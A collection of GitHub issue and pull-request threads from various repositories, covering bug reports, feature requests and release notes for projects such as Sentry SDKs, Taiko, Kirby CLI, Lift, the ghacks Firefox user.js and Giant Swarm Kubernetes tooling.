The T is lowercase on the card and it being uppercase breaks my code for automatically generating X-wing wiki links.

The future-proof way to handle this is to canonicalize incoming card names and use that as a key instead of the literal pilot name, so that these case sensitive (or punctuation) issues don't affect it anymore.

Agreed, I wonder if I could automate creating a bunch of wiki redirects using the canonical names. I'll look into it.

authors: FreakyDug geordanr

repo: geordanr/xwing


text:
Add human-readable color descriptions

Implements #21.

 Add human-readable descriptions to QKColor instances

repo: georgepstaylor/QuantumKit


text:
Way of maintaining translations up to date

Feature Request
Is your feature request related to a problem? Please describe.
As a developer and user of the UI components, I would like a way to make sure that translations of geostyler are all up to date.
At least having an easy way to find missing strings in my language.
At best being warned of missing strings and being helped adding them.
Describe the solution you'd like
A new npm run command could do that by comparing translation files in any language (src/locale/*.ts) with the reference one in english (src/locale/en_US.ts).
It would highlight the difference between files.
Suggestion :
npm run locale-check --language=fr_FR
Checks src/locale/fr_FR.ts and warns in the console about missing strings or strings that are no longer used (not in the en_US file).
npm run locale-check --language=fr_FR --fix
Would actually modify the src/locale/fr_FR.ts file by adding missing strings (with the same text as in the en_US file) and delete unused strings. Only the actual translation would remain to do.
Describe alternatives you've considered
No other idea.
Additional context
There are localized strings in other repositories (such as geostyler/geostyler-demo) and the proposal wouldn't check them.
The topic is open for discussion, there isn't any work in progress at the moment.

It seems we are synchronized with #1750 :wink:

Probably we have some options with TypeScript here. I'm gonna have a look at it.

authors: KaiVolland slafayIGN

repo: geostyler/geostyler


text:
Create sensor in eden editor

Being able to place sensor in eden editor with specific TYPE, ID, etc. would be a cool feature.

done in https://github.com/gerard-sog/arma3-macvsog-columbia-scripts/pull/213


text:
Can we customize the parameter "refresh_token"

Can we customize the parameter "refresh_token" when calling the route to refresh the JWT , I would like it to be camelCase as the rest of the API I m building.
Same question about the response, to return "token" and "refreshToken" instead of "refresh_token"
Thanks
Vincent

This can be closed as implemented in #142

authors: norkunas vincent-dravert

repo: gesdinet/JWTRefreshTokenBundle


text:
npm package deprecated warnings on fresh install

Running npm create convex -- -t get-convex/convex-saas sets up the project but there are a number of NPM errors on first install:
npm WARN deprecated inflight@1.0.6: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.
npm WARN deprecated @humanwhocodes/config-array@0.11.14: Use @eslint/config-array instead
npm WARN deprecated rimraf@3.0.2: Rimraf versions prior to v4 are no longer supported
npm WARN deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported
npm WARN deprecated @humanwhocodes/object-schema@2.0.3: Use @eslint/object-schema instead

There are also missing packages when npm dev is run for the first time:

package.json confirms that these packages are missing

also getting the same npm errors on this one after project setup, and npm run dev throws a 'punycode' deprecation warning as well.

repo: get-convex/convex-saas


text:
[Menu] Close sub-menu on click on another menu button.

Current behaviour
When the sub-menu is open, and I click on another button in the menu, the sub-menu don't close.
It is okay if this second button open a sub-menu too. But it feels wrong if this second button is a route action.

Expected behaviour
In this example, I expect the sub-menu to be closed when I click on the search icon.
Versions
Focus-core: 0.17.0-beta1
Focus-components: 3.0.0-rc22

I still have the problem: when I click on menu buttons, _onSubPanelClose is never called. Can you verify it works for you or come help me?

repo: get-focus/focus-components


text:
Run command with local flavor and configurable IP addr

A simple way to run the app on the phone but connect to a local (any) coordinator via IP.

This command makes it easy to quickly change to another machine that runs the setup, assuming the default ports and the checked in coordinator seed.
I am not sure if we want to do anything with this, but it made me think about our configuration in general.
At least for the (local) regtest setup the only thing that usually changes is the host machine's IP, maybe we can simplify the configuration to extract the IP and only set that instead of all the other parameters.

Note: I only configured the local flavor for Android - if we want to keep this command we could consider adding a flavor iOS as well.

@da-kami I'll carry this over the finish line - thank you the PR ❤

authors: da-kami klochowicz


text:
Minor grammar amendments

Just because I'm excited about getting involved in using BEM!

Thank you!

:+1: thank you!

just deployed

authors: davidsneal floatdrop iamstarkov


text:
Support for RubyMine

Expected behavior
User can install gauge plugin for RubyMine, and can run Gauge test through RubyMine
Actual behavior
I cannot see gauge plugin for RubyMine, and no IDEs support for Ruby

There is a Gauge Intellij plugin, which we tried extending to Rubymine a while ago. It didn't go too well, and we figured that the way the Intellij plugin is designed, it can't work with Rubymine without some effort.
We do have some plans to bring Gauge support to text editors, for instance, we are looking at building language server support with Gauge, which will open up integration with text editors such as vscode/vim/emacs etc.
Hopefully that should help the gauge ruby users a bit more.
In the meantime, if there is enough interest, please open an issue in gauge-ruby and we can discuss what's the best way forward.

Closing this as Gauge will not be implementing this feature.

authors: shane51 sriv zabil

repo: getgauge/gauge


text:
Gauge LSP to show unused steps for code completion request

Gauge should show unused steps for code completion. Gauge should ask the language runners for this information. The language runners should be able to handle this request.
The step text parameter shown should have the step annotation details instead of the parameter values used in case of implemented steps.
This story is part of LSP support for gauge.

Test cases

[ ] Steps with implementation, but unused, should come in the code completion list
[ ] Unused Steps defined in a different library/module should be available
[ ] Steps used in specification but unimplemented should also be available in the list

Open question

If an unimplemented step with parameters is used in multiple places, how should this be handled?
Should unused steps defined in a different library/module be available?

authors: nehashri sguptatw


text:
TAIKO_BROWSER_ARGS fails when command-line flags include embedded commas

Actual behavior
Chrome command-line flags (--window-position, --window-size) set in TAIKO_BROWSER_ARGS fail/are ignored due to embedded commas.
TAIKO_BROWSER_ARGS='--window-size=1024,768', '--window-position=2048,0' taiko myscript.js
TAIKO_BROWSER_ARGS=--window-size=1024,768, --window-position=2048,0 taiko myscript.js
I am trying to achieve feature parity between what I can accomplish in code and what I can accomplish from the command-line. This script works as expected:
const { openBrowser, closeBrowser } = require('taiko');
(async () => {
    try {
        await openBrowser({args:['--window-size=1024,768',
                                 '--window-position=2048,0']});
        screenshot()
    } catch (error) {
        console.error(error);
    } finally {
        await closeBrowser();
    }
})();

I'm not able to pass in command-line flags, even without embedded commas, so this may be a larger problem that just the commas.
TAIKO_BROWSER_ARGS=--incognito taiko myscript.js

Versions
Version: 1.0.9 (Chromium:83.0.4103.0)

Fixed via https://github.com/getgauge/taiko/pull/1252
Can you pull the latest version and check if this works?

Unless I'm getting the syntax wrong, this still appears to be an open issue with the latest version:
Version: 1.0.10 (Chromium:84.0.4128.0)
I can confirm that this works:
TAIKO_BROWSER_ARGS=--incognito taiko --observe simple.js
Chromium does, indeed, open in incognito mode.

This does not work. The size of the browser window does not match the screen dimensions requested. The browser size is identical to the above "incognito" request (where the screen dimensions are left to the default size).
TAIKO_BROWSER_ARGS=--window-size=1024,768 taiko --observe simple.js
Chromium opens with two tabs, one blank and the other with the IP address of 0.0.3.0

This does not work, either. I would expect the Chromium window to open at a different screen location, which it does not.
TAIKO_BROWSER_ARGS=--window-position=2048,0 taiko --observe simple.js
Chromium opens with two tabs, one blank and the other with the IP address of 0.0.3.0

My goal is to combine these two:
TAIKO_BROWSER_ARGS=--window-size=1024,768,--window-position=2048,0 taiko --observe simple.js

Can you pull the latest version (from master) and check if this works?

1.1.10 still had this problem. However, 1.1.11 (then on master) was supposed to have the fix
https://github.com/getgauge/taiko/pull/1252/files#diff-c626d926eeff4a14b1c1f5114bcc21c5R289-R293
but looks like it fixed something else. Thanks for pointing it out.
I can confirm that TAIKO_BROWSER_ARGS=--window-position=2048,0 taiko --observe simple.js does not work on 1.1.10

My bad, this is fixed in 1.0.11. Please make sure that package.json and node_module folders use the latest version before running the scripts.

repo: getgauge/taiko


text:
Feature: uninstall

Just for convenience at some point: have a kirby uninstall command

Super useful. Suggestion for syntax:
kirby uninstall:field

...would provide a list of all installed fields. Same would be for tags, plugins, etc.
kirby uninstall:field myfield

...woud actually delete the field files and directories.

Ok, looking at the docs, I think I got this wrong. The 'install' command is only for installing the kits, and the different components of Kirby itself, like 'core' and 'panel'. Plugins have their own command, with sub-commands, and tags, fields, blueprints, etc., have a 'make' command. In that case, there may need to be several different commands...
kirby uninstall

...would be for Kirby core/panel and its components. It could have sub-commands, such as:
kirby uninstall:core
kirby uninstall:panel
kirby uninstall:index
kirby uninstall:htaccess

In order to remain consistent with the existing syntax, plugins would probably need an extra sub-command:
kirby plugin:uninstall $plugin

And finally, for blueprints, controllers, snippets, templates, users, and tags - all of which use a 'make' command - it may be useful to have...:
kirby delete:tag $tagname

I implemented all of them on the develop branch except:
kirby uninstall:core
kirby uninstall:index
kirby uninstall:htaccess

I feel like those shouldn't exist. But the rest is awesome :)

authors: bastianallgeier distantnative luxlogica

repo: getkirby/cli


text:
DLQ URL/ARN not available

When trying to use a DLQ in another component via:
destinations:
      onFailure: ${construct:queue.dlqUrlOutput}

I am getting the error:
Resolution error: ${construct:queue.dlqUrlOutput} does not exist. Properties available on ${construct:queue} are: queueUrl, queueArn.

However the below linked line seems to suggest this does get output:
https://github.com/getlift/lift/blob/25192e628a1ed25c2b1beb5866c289c1237f2341/src/constructs/Queue.ts#L140

Actually having re-read this even if it was available it wouldn't work as I'd need the ARN. But either way, this looks like both should be available.

When looking for available variables, you have too look at references
https://github.com/getlift/lift/blob/25192e628a1ed25c2b1beb5866c289c1237f2341/src/constructs/Queue.ts#L154
Outputs are just the Cloudformation stack outputs but are not directly related to what's available in Lift variables.
But yeah, that could be cool to have those too.
What is the use case here ?

Hey, I think your use case makes sense, but I'm not sure it should be solved by reusing the DLQ from the queue component to be honest.
To me, it seems like you rather need a DLQ on the Lambda handling eventbridge messages, right?
Maybe it would make sense to have a (production-ready) "event handler" construct for handling eventbridge messages? That construct could include all the default config for production scenarios, like retries, DLQ, etc.
Here is an illustration:
Before:
provider:
  ...
  eventBridge:
    useCloudFormation: true

functions:
  myfunc:
    handler: index.handler
    events:
      - eventBridge:
          eventBus: ...
          pattern: ...
          inputTransformer: ...
      - eventBridge:
          eventBus: ...
          pattern: ...
          inputTransformer: ...
    destinations:
      onFailure: ${construct:queue.dlqUrlOutput}

After:
constructs:

  myfunc:
    type: event-handler
    handler: index.handler
    events:
      # only eventbridge events allowed here
      - eventBridge:
          eventBus: ...
          pattern: ...
          inputTransformer: ...
      - eventBridge:
          eventBus: ...
          pattern: ...
          inputTransformer: ...

That will automatically configure a SQS dead letter queue for this handler.
Just like with queues, the construct could provide the commands:
serverless myfunc:failed
# list failed messages from the dlq

serverless myfunc:failed:retry
# retry failed messages

What do you think?

If that's possible then for sure; for my use case right now I was mainly thinking that providing the output is likely an easier implementation for me to just PR than digging into the whole thing (I wrote the PR just in the GitHub editor). But I agree that yes, a proper support of error handling and retries for event bridge makes this as full-featured as my existing CFN code that puts a webhook request straight into a queue.

And I'll also be closing this issue per https://github.com/M1ke/serverless-payments/pull/8
Feel free to continue the discussion here @M1ke

authors: M1ke mnapoli t-richard

repo: getlift/lift


text:
fix: rc prerelease before unstable release

Please read CONTRIBUTING.md for additional information on contributing to this repository!

What this PR does / why we need it
This PR fixes the case when a repo does not set up goreleaser. It should run RC release check first if applicable.
Example: https://app.circleci.com/pipelines/github/getoutreach/stencil-circleci/1018/workflows/6da65a0e-50f5-4977-b766-11b8486e4f84/jobs/1856

Jira ID
[XX-XX]

Notes for your reviewers

It looks like the block just moved down.

Thanks for quick review. Yeah, this PR just fixes rc release for repos without goreleaser. But ideally, we should support better unstable release process for longer term.

repo: getoutreach/devbase


text:
Get the native asset balance of an address

Create a method to get the native asset balance of an address.

Duplicate of #58

repo: getsafle/safle-vault


text:
publish: getsentry/sentry-electron@2.5.0

Requested by: @timfish
Quick links:

View changes
View check runs

Assign the accepted label to this issue to approve the release.
Targets

[ ] npm
[ ] registry
[ ] github

We are going to redo this, add more things.

authors: HazAT getsentry-release

repo: getsentry/publish


text:
handling "err.Cause() == nil" case

"err.Cause()" is nillable and leads to panic while using "err.Cause().Error()"
This pr adds handling for this nil case.

@rhcarvalho Would you tag this as sentry-go 0.5.1?

@sodabrew done https://github.com/getsentry/sentry-go/releases/tag/v0.5.1
go get github.com/getsentry/sentry-go@v0.5.1

authors: MikeKonan rhcarvalho sodabrew

repo: getsentry/sentry-go


text:
Two Sentry issues for one exception

Ever since upgrading from 1.0.0-beta2 to 1.1.0 I am sometimes seeing two issues for a single exception, one prefaced with Notice:. This was one I created:

This could be happening every time, but I'm not sure as I am 2 days from launch. Is this from upgrading or something on my end?
At the time of upgrade I also stopped receiving emails for Laravel issues (but still get JS emails). I have checked my settings (that I didn't ever change) and they look correct to alert me. Anyone else?

@futzlarson Are you using the log channel integration next to the "normal" integration by any chance?

@stayallive Honestly I don't know what you're asking.

@futzlarson there are 2 ways to integrate Sentry with Laravel.
This first is the recommended way: https://docs.sentry.io/platforms/php/laravel/#laravel-5x
The second is by using a so called log channel (a Laravel feature): https://docs.sentry.io/platforms/php/laravel/#using-laravel-56-log-channels
Using both can cause doubled errors, so I am wondering if you maybe have both setup in your application if not we will have to take a deeper look why this is happening, if you did setup both that explains it because if you’re using log channels to log your exceptions and are also logging exceptions to Sentry in your exception handler (as you would have configured above) exceptions might end up twice in Sentry.

@futzlarson @stayallive I've been investigating through this issue recently, since we don't use the Laravel report function nor does the Log function.
We send sentry specifically in a try catch block manually. However, ever since updating 1.0.0-beta2, we've been stepping up on this issue of duplicate Log or receiving sentry notifications even if we caught the error/exception/throwable.
I think the code that has problem is here in sentry-php:
https://github.com/getsentry/sentry-php/blob/78495dd5cd68b1a01a864c1e4019556ed7a3962e/src/ErrorHandler.php#L174
This overrides the default Laravel set_error_handler() (https://github.com/laravel/framework/blob/195dba7ea2a68d3a49593d0de0df73c12a59fc72/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php#L43)
no matter what, and handle the issue itself.
Therefore for the example @futzlarson is posting: will always have two sent to sentry, one from Laravel Log/Report and one for sentry-php itself

@marandy0905 the set_error_handler does not trigger for exceptions.
So it's possibly your code generates a exception but also a notice or warning (error) and you are capturing the Exception and Sentry is capturing the error?
Could you share both errors like the screenshot from Ryan with what you are getting?
@marandy0905 Also please update to the latest version, we are at 1.1.0 so we are talking about the same code, a lot of things we're fixed in the beta's.

@stayallive I think I mentioned it the wrong way. But you are absolutely right about this:

So it's possibly your code generates an exception but also a notice or warning (error) and you are capturing the Exception and Sentry is capturing the error?

The problem is that Laravel already help us catch this kind of error/notice with it's own set_error_handler() in the link provided above and re-throw it as an ErrorException class.
I'll show some pseudo code below with a simple API:
 // Set up 'report' or Log::error(); depends on your setting of sentry in Laravel

Route::get('health', function () {
    try {
        $data = [];
        $data['test'];
    } catch (\Throwable $th) {
        var_dump(get_class($th)); // 'ErrorException'

        return response('un-oh');
    }

    return response('ok');
});

With the above example,
EXPECT: Receiving an 'un-oh' response, sending an ErrorException notification to Sentry.
ACTUAL: Receiving an 'un-oh' response, sent a notice error and an ErrorException notification to Sentry. The latter is triggered by the report function in  App/Exceptions/Handler.php as suggested by the official Doc in Sentry.
Since Laravel already has a fallback solution for reporting all notice/warning, Sentry-php is still
intercepting the error_handler setting causing to sent to sentry twice.
btw, I'm working on 1.1.0 right now, and 5.8 for Laravel, the problem actually just happens starting from 1.0.0-beta2, there's a major change of how error_handler is set since then.

more info: we're not using any Log or report function but handle Send Sentry in our own middleware.
However a fresh install of Laravel with either (only one) place implementing Sentry will reproduce.
And also we figured out to close sending to sentry by setting 'error_type' => 0 in sentry config. This works well by not sending the unexpected notice/warning but still send the ErrorException one.

@stayallive FYI I am only doing the recommended way. And as @marandy0905 mentioned, this only started happening once I upgraded. Side note, it doesn't seem to happen every time.

Any update @stayallive?

Guys, that's because of Sentry's integrations. They handle errors before laravel's handler does it.

@SCIF But this is something that only started happening in recent versions?

Probably this one introduced it. Not sure. I still doesn't have enough time to investigate that.

Sentry registers it's own error handler, which reports given error.
And runs previous error handler after, which might throw an exception. This last exception is reported by aSentry also

probably can be fixed with sentry.php config:
<?php

return [
    'error_types' => ~E_ALL,
];

I found that, client builder have default integration of ExceptionListenerIntegration which register error handler. So put captureException in error handler or add logging in application will duplicate log.

We are working on seeing if #280 solves the issue which is most likely the best "fix" for the issue without us missing issues (takes a bit of time to test).

I try #280 and it fixed duplicate log. I'll wait for release. For now, I'll remove captureError on laravel handler.

This issue was closed however I never mentioned we think it's fixed in 1.4.0, please do open it back up or open a new issue if the problem is not solved.

1.4.1 is working fine for me - thanks!

I have recently started seing double exceptions being reported again now recently. Is this just me, or was something changed in 1.6.X perhaps?

@carestad it shouldn't 😄 but please do open a new issue with the information you have and maybe both exceptions (as much as you can/are willing to share) so we can investigate!

@carestad We've also been seeing issue this again.
The regression seems to be caused by sentry-php 2.3. I forced "sentry/sentry-laravel": "1.5.*" and switched between "sentry/sentry": "2.2.*" and 2.3.*, calling return 1/0; on 2.2 sends one error to Sentry, but on 2.3 I get two.

Yes, as mentioned in #327 this problem is caused by sentry/sentry:^2.3 and will be fixed shortly for now pinning to sentry/sentry-laravel:1.5.* and sentry/sentry:2.2.* is a immediate fix if you need it.

sentry/sentry-laravel 1.6.2 was just released which fixes the regression causing duplicate exceptions, thanks all for the information and patience!

authors: SCIF airgrim carestad cyreb7 futzlarson hurie marandy0905 stayallive

repo: getsentry/sentry-laravel


text:
Fix #1426 ignore previous exeptions not being ignored

For some frameworks like Symfony the previous exceptions are more specific than the later more generalized ones. This PR allows us to ignore these kind of exceptions.
And example of this would be exceptions thrown by security:

Symfony\Component\HttpKernel\Exception\HttpException

Symfony\Component\Security\Core\Exception\InsufficientAuthenticationException

Symfony\Component\Security\Core\Exception\AccessDeniedException

We really don't want to ignore Symfony\Component\HttpKernel\Exception\HttpException but we really do want to ignore Symfony\Component\Security\Core\Exception\AccessDeniedException since this is something that is okay.

I fear that this might introduce a regression for users that are using the integration today. It could happen that Exceptions will be ignored that are currently sent to Sentry.
I would suggest you either add a custom integration or handle this in before_send.
This might be worth revisiting for v.4.0.

@cleptric I understand. Wouldn't it be sensible then to keep this PR open and merge it with v4.0? Most likely it will still be mergable then.

We still have an open issue for this, https://github.com/getsentry/sentry-php/issues/1426
As long as you do not delete your fork, we can reopen the PR at any time.
One possible path forward would be the introduction of a new top-level option called ignore_exceptions:
Sentry\init([
    'ignore_exceptions' => [\Exception::class],
]);

We could then drop the event in the client.
I actually prefer this over the integration, as it makes the API a bit cleaner and easier to use.
Would you be willing to propose this in a new PR?

I'm willing to do the work. Would that mean adding an Option and making supporting code to ignore exceptions here?:
https://github.com/getsentry/sentry-php/blob/8cf074301c6e7ee094255e8eb114c16d74356521/src/Client.php#L161

Hub::captureException() looks like a good place to apply the ignore logic.
Exceptions by the global exception error handler will also be passed through here.
Just to be extra clear, this would deprecate the current IgnoreErrorsIntegration and add support for previous exceptions as well.

repo: getsentry/sentry-php


text:
Adding X-Authorization and Cookie to sanitized headers

Cookie values are sanitized by default at the default SanitizeDataProcessor, so it's safe to consider they should also be sanitized in headers. The cookie keys list will be available on the "cookie" data point anyway (unless RemoveCookiesProcessor is enabled), thus it makes no sense to sanitize cookies there but not in the header.
X-Authorization is a very common header user to transmit arbitrary Token values on APIs.

It's fine to add the X-Authorization header to the list, but the Cookie header should already be unset by RemoveCookiesProcessor processor. Unless it doesn't work (and it would be a bug), this is just code duplication

It's fine to add the X-Authorization header to the list, but the Cookie header should already be sanitized by the RemoveCookiesProcessor processor. By default in 2.x (which is being worked on) that processor will be enabled by default, so my suggestion is to enable it instead of duplicating the logic in the SanitizeDataProcessor class.

I suggest redirect this PR to branch 2.0. There is no need to add new behaviour to old branch

@nokitakaze too bad that's not pointed in any contributing documentation :roll_eyes:

Superseded by #474


text:
Updated KSCrash to 1.5.5 and included libc++

Needed to update to latest KSCrash which also required us to now manually link libc++

Not needed because another PR did the same thing

repo: getsentry/sentry-swift


text:
Implement toggle buttons for ReqRes Component

[x] Implement toggle buttons for ReqRes Component

Complete. First Pass 🤞

repo: getswell/getswell


text:
Update sbt to 1.8.0

Updates org.scala-sbt:sbt from 1.6.2 to 1.8.0.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.scala-sbt", artifactId = "sbt" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "@monthly" },
  dependency = { groupId = "org.scala-sbt", artifactId = "sbt" }
}]

labels: library-update, early-semver-minor, semver-spec-minor, commit-count:1

Superseded by #122.

repo: gfc-collective/gfc-id


text:
Hardcoded immutable samplers in Metal

Also adds unnormalized sampling to HAL.
Blocked on spirv_cross 0.15.0 release.
Fixes #2837
Partially fulfills #2883
PR checklist:

[x] make succeeds (on *nix)
[x] make reftests succeeds
[x] tested examples with the following backends: metal
[ ] rustfmt run on changed code

fwiw, I confirmed on VK CTS that the samplers get hard-coded and work as expected.

Thanks for the review @grovesNL !
comments are addressed
bors r=grovesNL

bors retry

repo: gfx-rs/gfx


text:
changelog: v58-alpha

date: 3-February-2018
foreword: These are all the changes since the last changelog (v57-alpha).
note: the comments in the code blocks below are for this changelog's commentary

changelog: [all changes]

all user.js updates for Firefox v58 are detailed in our ToDo: diffs FF57-FF58 issue

includes links to the commits made for each pref, links to bugzilla tickets, our discussions etc.

:exclamation:  FF58+ no longer supports using profile/preferences/xxx.js for your user.js overrides !!
removed section 1100: MULTI-PROCESS (e10s)

browser.tabs.remote.allowLinkedWebInFileUriProcess=false moved to 2631

enabled blocking of "passive" Mixed-Content (security.mixed_content.block_display_content)

if you start to notice missing images on your favorite sites it's because of this

as promised in the last changelog, Pants wrote a new Wiki page for the Updater Scripts

in the meantime @claustromaniac continued to improve the updater.bat (thanks!)

make sure to get the latest version if you're using it

@claustromaniac "The MSDOS Wizard" also wrote the new prefs.js cleaner for Windows

this script is apparently so fucking amazing that CHEF-KOCH "The Plagiarizer" immediately copied it, put his own name on it and shamelessly re-published it as his own work
definitely worth checking it out, especially if you're also using the updater.bat.
No idea what this is? read the Wiki page Resetting Inactive Prefs

new troubleshooter scratchpad script to make troubleshooting broken sites a lot easier

Any and all feedback / results / experiences would be very much appreciated! Like ...

did or didn't it find the problematic pref(s)?
which sites were or weren't you able to fix with it?
did the script fail to narrow it down to a manageable number of prefs?

for all the rest see the full list of pref changes below

all pref changes:

new active prefs:

user_pref("browser.crashReports.unsubmittedCheck.autoSubmit2", false);
user_pref("browser.safebrowsing.provider.google4.dataSharing.enabled", false);
user_pref("browser.safebrowsing.provider.google4.dataSharingURL", "");
user_pref("intl.locale.requested", "en-US");
user_pref("javascript.options.shared_memory", false);
user_pref("network.cookie.thirdparty.nonsecureSessionOnly", true);
user_pref("security.insecure_connection_icon.enabled", true);

new in 58alpha but commented out by default:

//user_pref("browser.startup.homepage", "https://www.example.com/");
//user_pref("permissions.default.camera", 2);
//user_pref("permissions.default.desktop-notification", 2);
//user_pref("permissions.default.geo", 2); // = 4612 because Geo is disabled by RFP
//user_pref("permissions.default.microphone", 2);
//user_pref("permissions.default.shortcuts", 2);
//user_pref("security.insecure_connection_icon.pbmode.enabled", true);

activated previously commented-out prefs::

user_pref("browser.storageManager.enabled", false);
user_pref("browser.urlbar.autocomplete.enabled", false);
user_pref("dom.storageManager.enabled", false);
user_pref("security.mixed_content.block_display_content", true);

removed from the user.js:

//user_pref("browser.tabs.remote.autostart", true);
//user_pref("browser.tabs.remote.autostart.2", true);
//user_pref("browser.tabs.remote.force-enable", true);
user_pref("browser.tabs.remote.separateFileUriProcess", true);
//user_pref("dom.ipc.plugins.sandbox-level.default", "donotuse");
//user_pref("dom.ipc.plugins.sandbox-level.flash", "donotuse");
//user_pref("dom.ipc.processCount", 4);
//user_pref("dom.ipc.processCount.extension", 1);
//user_pref("dom.ipc.processCount.file", 1);
user_pref("dom.ipc.shims.enabledWarnings", true);
//user_pref("dom.presentation.controller.enabled", false);
//user_pref("dom.presentation.discoverable", false);
//user_pref("dom.presentation.discovery.enabled", false);
//user_pref("dom.presentation.enabled", false);
//user_pref("dom.presentation.receiver.enabled", false);
//user_pref("dom.presentation.session_transport.data_channel.enable", false);
//user_pref("extensions.e10sBlocksEnabling", false);
//user_pref("extensions.webextensions.remote", true);
//user_pref("security.sandbox.content.level", "donotuse");
//user_pref("security.sandbox.logging.enabled", true);

Any and all help, suggestions, recommendations, links, tips and tricks, questions, thank you's or whathaveyou are welcome - signup/login and start typing - thanks

once again, thanks earthlng for creating the changelog :kiss:

Maybe he needs special attention... 13 days ago he removes "ghacks" as a "source", then 7 days ago simply continues to copy what we do - see commit .. wot a loser

FYI: from https://www.reddit.com/r/firefox/comments/7x2iwo/who_else_uses_lightbeam/
Pic1: https://i.redd.it/ml4z4qfyktf01.png
Pic2: https://i.imgur.com/vfTGHTp.png
Pic1 is what google wants ... Pic2 seems to be doing at least something right: see all the island sites or small isolated clusters on the outer ring.
I haven't used Lightbeam for years. I wonder if it works with FPI?

FYI: Seems to work

Does not take FPI into consideration

I'm surpised google stuff hasn't linked more (I do allow google apis and even webfonts on a handful of sites). Cloudfront and cloudflare don't seem to feature at all. I just loaded a bunch of sites from my speed dials and search engines and browsed around.

I found Antarctica

authors: Thorin-Oakenpants earthlng


text:
Add schema annotations (title, description)

Towards https://github.com/giantswarm/roadmap/issues/1733
With this PR I'm adding annotations: title for all properties, and in a few cases description.
Annotation functions should not influence the cluster's behaviour. They are intended for the user interface and documentation.
Reviewers: please check whether the wording makes sense.

I guess those are manually managed so they will get overwritten if we rerun the gen-schema ? ( we are changing the structure of values quite a bit those days )

Yes, correct. So if you intend to use schema-gen, I recommend something like

Run schema-gen
Normalize the result using schemalint normalize helm/cluster-azure/values.schema.json -o helm/cluster-azure/values.schema.json --force
Partially commit the lines additions/changes you want to add/change.

repo: giantswarm/cluster-azure


text:
Fix image name templating

The migration job isn't starting because the image name isn't quoted.
    spec:
      containers:
      - command:
        - /scripts/run.sh
        image: 'quay.io/:'

Going with a ping.


text:
Enable api-server SLO alert during upgrades of HA masters clusters.

Fix api-server slo alert and make it page for HA master clusters even during upgrades
Checklist

[x] Update changelog in CHANGELOG.md.
[x] Request review from oncall area, as well as team (e.g: oncall-kaas-cloud GitHub group).
[ ] Alerting rules must have a comment documenting why it needs to exist.
[ ] Consider creating a dashboard (if it does not exist already) to help oncallers monitor the status of the issue.

I have created a postmortem and atlas will work in a fix. I am also creating a WC in gubble for testing

@pipo02mix any news?

Atlas was waiting for a testing WC for testing it. We delivered it yesterday, so they still need to test

Whites do we still have this problem¿?

Whites do we still have this problem¿?

I bet so but I don't remember so can't check

repo: giantswarm/prometheus-rules


text:
Kubernetes v1.22 on Azure mangement clusters

Story
-As a management cluster admin, I want Kubernetes to be upgraded to v1.22 on all Azure management clusters in order to have an upstream supported version running.
Changes

[ ] Kubernetes v1.22;
[ ] etcd v3.5.x;

Background

Kubernetes v1.21 is end of life on 2022-06-28;
Kubernetes v1.22 requires etcd v3.5.x. See release announcement for more details.

[ ]  ghost
[ ]  godsmack
[ ]  goku
[ ]  gollum
[ ]  gremlin
[ ]  icecream
[ ]  orion
[ ]  talos
[ ]  tuna
[ ]  victory

repo: giantswarm/roadmap


text:
Implements prometheus resource in remoteWrite controller

Towards: https://github.com/giantswarm/roadmap/issues/496
Description
Implement a new resource in the remoteWrite controller to configure the Prometheus.spec.remoteWrite field with the content of RemoteWrite.spec.remoteWrite field.

A RemoteWrite resource is used to configure multiple Prometheus resources, to achieve this we rely on the RemoteWrite.spec.clusterSelector field, which we are going to use to select the targeted Prometheus CR.

Example:

remoteWrite controller receives the following object :

apiVersion:  monitoring.giantswarm.io/v1alpha1
kind: RemoteWrite
metadata:
  name: adidas-victoria-metrics
spec:
  clusterSelector:
    giantswarm.io/cluster: yz2cx
  remoteWrite:
    url: https://foobar.com
    writeRelabelConfigs:
    - foo: bar

the new resource select the Prometheus CRs to work on as follow :

$ kubectl get prometheus --all-namespaces --selector=giantswarm.io/cluster=yz2cx -oyaml
apiVersion: v1
items:
- apiVersion: monitoring.coreos.com/v1
  kind: Prometheus
  metadata:
    labels:
      app.kubernetes.io/instance: yz2cx
      app.kubernetes.io/managed-by: prometheus-meta-operator
      app.kubernetes.io/name: prometheus
      giantswarm.io/cluster: yz2cx
    name: yz2cx
    namespace: yz2cx-prometheus
  spec:
    additionalAlertManagerConfigs:
      key: alertmanager-additional.yaml
      name: new-alertmanager-config
    additionalScrapeConfigs:
      key: prometheus-additional.yaml
      name: additional-scrape-configs
    replicas: 1

the new resources configure the remoteWrite field on the Prometheus CRs and update it.

apiVersion: v1
items:
- apiVersion: monitoring.coreos.com/v1
  kind: Prometheus
  metadata:
    labels:
      app.kubernetes.io/instance: yz2cx
      app.kubernetes.io/managed-by: prometheus-meta-operator
      app.kubernetes.io/name: prometheus
      giantswarm.io/cluster: yz2cx
    name: yz2cx
    namespace: yz2cx-prometheus
  spec:
    additionalAlertManagerConfigs:
      key: alertmanager-additional.yaml
      name: new-alertmanager-config
    additionalScrapeConfigs:
      key: prometheus-additional.yaml
      name: additional-scrape-configs
    remoteWrite:
    - url: https://foobar.com
      writeRelabelConfigs:
      - foo: bar
    replicas: 1

A lot of data was stripped down from those examples.
Suggestions

Name the new resource prometheus-remotewrite this helps us know what this resource is doing.
Selecting with label should work with

config.PrometheusClient
  .MonitoringV1()
  .Prometheuses(metav1.NamespaceAll)
  .List(ctx, metav1.ListOptions{
    LabelSelector: remoteWrite.spec.clusterSelector.String(),
  })

Use the Prometheus.spec.remoteWrite[].Name field for uniqueness (doc)
We might need a logic to cleanup current values in the Prometheus.spec.remoteWrite field. This logic can be removed after the first release.

TODO

[ ] Add new resource boilerplate
[ ] Implements cluster selector logic
[ ] Implements resource Create/Update/Delete logic

I'd like to work on this issue if no one has any objections!

authors: TheoBrigitte mcbenjemaa


text:
PSP deprecation and kyverno-PSS compliance

